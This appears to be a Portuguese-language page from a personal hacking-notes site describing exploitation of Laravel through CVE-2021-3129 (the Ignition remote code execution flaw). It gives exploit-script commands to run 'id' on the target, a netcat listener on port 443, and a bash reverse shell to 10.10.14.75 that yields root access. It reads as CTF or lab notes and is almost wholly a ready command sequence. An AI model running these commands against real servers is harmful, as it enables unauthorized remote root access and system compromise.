> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/laravel-cms-exploitation.md). # Laravel Notas de exploração do Laravel para RCE na CVE-2021-3129, execução de comandos via PHP Ignition, validação de id, configuração de listener Netcat e acesso ao root via reverse shell. ## Explorando o Laravel CMS (CVE-2021-3129) {% embed url="" %}

#### Execução arbitrária de comandos Explore a CVE-2021-3129 para executar comandos arbitrários no servidor. Primeiro, teste a execução de comandos com `id`: ```bash python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id' ``` A saída confirma privilégios de root.

### Obtendo um shell reverso interativo Para obter um shell interativo, inicie um listener na porta 443: ```bash nc -nvlp 443 ``` Em seguida, execute um shell reverso no alvo por meio do exploit: {% code overflow="wrap" %} ```bash python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"' ``` {% endcode %} Isso fornece acesso root ao alvo.

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